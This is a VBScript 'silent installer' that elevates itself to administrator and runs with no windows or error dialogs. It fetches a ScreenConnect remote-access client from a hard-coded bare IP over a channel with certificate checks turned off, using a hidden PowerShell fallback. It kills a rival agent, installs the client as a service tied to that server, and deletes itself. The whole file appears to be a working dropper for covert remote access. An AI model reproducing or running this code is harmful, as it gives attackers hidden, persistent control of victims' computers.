' ═══════════════════════════════════════════════════════════ ' ScreenConnect Agent — Silent Installer (.vbs) ' Site: Default ' 100% invisible — no windows, no console, no prompts. ' Double-click to run. UAC prompt is the only user interaction. ' ═══════════════════════════════════════════════════════════ Option Explicit Dim oShell, oFSO Set oShell = CreateObject("WScript.Shell") Set oFSO = CreateObject("Scripting.FileSystemObject") Dim sInstallDir, sExe, sDlUrl, sServer, sToken, sLog sInstallDir = oShell.ExpandEnvironmentStrings("%ProgramFiles%") & "\ScreenConnect" sExe = sInstallDir & "\ScreenConnect.exe" sDlUrl = "http://38.255.53.76:8040/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest" sServer = "https://38.255.53.76:8040" sToken = "" sLog = oShell.ExpandEnvironmentStrings("%TEMP%") & "\ScreenConnect_install.log" ' ── Auto-elevate to administrator ── If Not IsElevated() Then CreateObject("Shell.Application").ShellExecute "wscript.exe", _ Chr(34) & WScript.ScriptFullName & Chr(34), "", "runas", 0 WScript.Quit End If ' ── Main — errors suppressed to prevent visible dialogs ── On Error Resume Next Log "Silent VBS installer started" If Not oFSO.FolderExists(sInstallDir) Then oFSO.CreateFolder sInstallDir ' ── Fix pagefile if too small ── Log "Checking pagefile..." oShell.Run "cmd /c wmic pagefileset where ""MaximumSize<1024"" set InitialSize=1024,MaximumSize=4096 >nul 2>&1", 0, True Dim pfCheck pfCheck = oShell.Run("cmd /c wmic pagefileset list brief 2>nul | findstr /i ""pagefile"" >nul 2>&1", 0, True) If pfCheck <> 0 Then oShell.Run "cmd /c wmic pagefileset create name=""C:\pagefile.sys"" >nul 2>&1", 0, True oShell.Run "cmd /c wmic pagefileset where name=""C:\\pagefile.sys"" set InitialSize=1024,MaximumSize=4096 >nul 2>&1", 0, True End If Log "Pagefile check done" oShell.Run "cmd /c net stop RodexAgent", 0, True oShell.Run "cmd /c taskkill /F /IM ScreenConnectAgent.exe", 0, True WScript.Sleep 2000 Log "Downloading agent..." Dim bOK : bOK = False ' Method 1: Native HTTP download If Not bOK Then bOK = HttpDownload(sDlUrl, sExe) ' Method 2: PowerShell fallback If Not bOK Then Log "Native HTTP failed, trying PowerShell..." Dim psCmd psCmd = "powershell -ep Bypass -NoProfile -WindowStyle Hidden -c """ & _ "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" & _ "[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};" & _ "(New-Object Net.WebClient).DownloadFile('" & sDlUrl & "','" & sExe & "')""" oShell.Run psCmd, 0, True If oFSO.FileExists(sExe) Then If oFSO.GetFile(sExe).Size > 1000 Then bOK = True End If End If If Not bOK Then Log "ERROR: All download methods failed" WScript.Quit 1 End If Log "Download OK (" & oFSO.GetFile(sExe).Size & " bytes)" ' ── Install agent as service ── Log "Installing agent..." Dim rc rc = oShell.Run(Chr(34) & sExe & Chr(34) & " --install --server " & Chr(34) & sServer & Chr(34) & " --token " & Chr(34) & sToken & Chr(34), 0, True) Log "Install exit code: " & rc ' ── Self-cleanup ── On Error Resume Next oFSO.DeleteFile WScript.ScriptFullName, True On Error GoTo 0 WScript.Quit 0 ' ═══════════════════════════════════════════════════════════ ' Helper Functions ' ═══════════════════════════════════════════════════════════ Function IsElevated() On Error Resume Next oShell.RegRead "HKEY_USERS\S-1-5-19\Environment\TEMP" IsElevated = (Err.Number = 0) On Error GoTo 0 End Function Sub Log(sMsg) On Error Resume Next Dim f Set f = oFSO.OpenTextFile(sLog, 8, True) f.WriteLine Now & " " & sMsg f.Close On Error GoTo 0 End Sub Function HttpDownload(sUrl, sDest) HttpDownload = False On Error Resume Next Dim oHTTP Set oHTTP = Nothing Set oHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0") If Err.Number <> 0 Then Err.Clear Set oHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") End If If Err.Number <> 0 Then Err.Clear On Error GoTo 0 Exit Function End If oHTTP.Open "GET", sUrl, False ' Ignore SSL cert errors — must be after Open for WinHTTP oHTTP.SetOption 2, 13056 : Err.Clear oHTTP.Option(4) = 13056 : Err.Clear oHTTP.Send If Err.Number = 0 And oHTTP.Status = 200 Then Dim oStream Set oStream = CreateObject("ADODB.Stream") oStream.Type = 1 oStream.Open oStream.Write oHTTP.ResponseBody oStream.SaveToFile sDest, 2 oStream.Close Set oStream = Nothing HttpDownload = True End If Set oHTTP = Nothing On Error GoTo 0 End Function